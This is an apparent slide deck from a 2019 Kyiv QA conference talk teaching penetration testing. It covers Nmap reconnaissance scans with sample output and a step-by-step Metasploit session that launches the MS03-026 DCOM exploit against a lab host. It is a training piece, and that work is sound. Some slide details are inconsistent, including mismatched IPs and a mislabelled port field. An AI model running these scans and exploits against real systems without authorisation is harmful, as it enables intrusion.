Kyiv Quality Assurance Day 2019 СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» Телеграм канал: wwww.t.me/goqameetup Фейсбук сторінці: www.fb.com/goqaevent Сайт: www.kyiv.qaday.org

1. Святослав Логин
QA CONFERENCE #1 IN UKRAINE, KYIV 2018

2. О себе:
- QA gangsta Lead в
- Больше 3 лет тестирую на наличие Web уязвимостей
- Больше 6 лет в тестировании
- Спикер множественных конференций по
тестированию
- Провожу обучение по penetration testing
- Веду блог по Security testing https://svyat.tech
- Член программного комитета QAFest
LOGIN

3. В evo.company входят такие проекты:

4. Сегодня в программе:
- Nmap
- Metasploit

5. Вступление Знакомство с инструментами

6. Вступление Вступление: Работа злоумышленников
Hardware
OS
Soft
WEB Сервер

7. Вступление: Что такое Metasploit?
Metasploit - проект, посвященный
информационной безопасности.

8. Вступление: База Exploit
41.000+ EXPLOITS
● OS
● DB
● Soft
● Hardware

9. Статистика exploit по OS

10. Вступление: Термины
Exploit
Payload
Vulnerability

11. A9:Using Components with Known Vulnerabilities

12. Глава1 Сбор информации о цели

13. Глава 1: Способы сбора информации
Нормальный мужик
долго на дороге не валяется
● Пассивный сбор информации

14. Глава 1: Пассивный сбор информации
● Команда whois

15. Глава 1: Пассивный сбор информации
● Команда dig

16. Глава 1: Пассивный сбор информации
● Команда nslookup

17. Глава 1: Способы сбора информации
● Активный сбор информации

18. Глава 1: Активный сбор информации
Nmap - утилита предназначенная для разнообразного
сканирования IP-сетей с любым количеством объектов

19. Глава 1: Активный сбор информации
1.Команда TCP connect [-sT]
1 nmap -sT -p1-20 test.net
2 Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-16 14:55 EET
3 rDNS record for 193.239.68.38: www.test.net
4 PORT STATE SERVICE
5 1/tcp filtered tcpmux
6 2/tcp filtered compressnet
7 3/tcp filtered unknown

20. Глава 1: Активный сбор информации
2.Команда UDP scan [-sU]
1 nmap -sU test.net
2 Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-16 14:55 EET
3 rDNS record for 193.239.68.38: www.test.net
4 Not shown: 999 filtered ports
5 PORT STATE SERVICE
6 80/tcp open http
7 Nmap done: 1 IP address (1 host up) scanned in 5.01 seconds

21. Глава 1: Активный сбор информации
3.Команда ACK scan [-sA]
1 nmap -sА test.net
2 Starting Nmap 5.51SVN ( http://nmap.org ) at 2018-02-16 15:19 EET
3 Nmap scan report for 192.168.56.102
4 Host is up (0.0011s latency).
5 Not shown: 999 filtered ports
6 9001/tcp unfiltered  tor-orport

22. Глава 1: Активный сбор информации
4.Команда -O
1 nmap -O test.net
2 Starting Nmap 5.51SVN ( http://nmap.org ) at 2018-02-16 15:19 EET
3 Nmap scan report for test.net
4 Host is up (0.0014s latency).
5 MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
6 Device type: general purpose
7 Running: Microsoft Windows 7

23. Глава 1: Способы сбора информации
● Социальная инженерия

24. Социальная инженерия

25. Социальная инженерия

26. Социальная инженерия

27. Глава2 Эксплуатация уязвимости

28. Глава 3: Эксплуатация
Список команд
- search exploit
- use exploit
- set
- show targets, options

29. Глава 2: Запуск Metasploit
root@slogin: msfconsole

30. Глава 2: Эксплуатация
1.Команда search exploit
1 msf > search ms03_026_dcom
2 Matching Modules
3 ================
4 Name Disclosure Date Rank Description
5 ---- --------------- ---- -----------
6 exploit/windows/dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM

31. Глава 2: Эксплуатация
2.Команда use
1 msf > use exploit/windows/dcerpc/ms03_026_dcom
2 msf exploit(ms03_026_dcom) >

32. Глава 2: Эксплуатация
3.Команда show options
1 msf exploit(ms03_026_dcom) > show options
2 Module options (exploit/windows/dcerpc/ms03_026_dcom):
3 Name Current Setting Required Description
4 ---- --------------- -------- -----------
5 RHOST yes The target address
6 RHOST 125 yes The target port

33. Глава 2: Эксплуатация
4.Команда set
1 msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102
2 RHOST =>102.168.56.102
3 msf exploit(ms03_026_dcom) >

34. Глава 3: Примеры
1 msf exploit(ms03_026_dcom) > exploit
2 [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
3 [*] Binding to
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ...
4 [*] Bound to
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.56.102[135] ...
5 [*] Sending exploit ...
6 [*] Exploit completed.

36. Глава 3: Цепочка развитий событий Base
DB DBn
OS R file
W file
User
Up user
Net
RAM

37. Вывод: Как защититься
● Обновляйте все и вся
● Пользуйтесь лицензированным ПО

38. Вывод: Точка G
Security
Functionality
Usability

39. ● База exploit - https://www.exploit-db.com/
● Nmap - https://nmap.org/man/ru/man-port-scanning-techniques.html
● ettercap - https://www.ettercap-project.org/index.html
Литература:

40. https://svyat.tech/
Спасибо, Вопросы?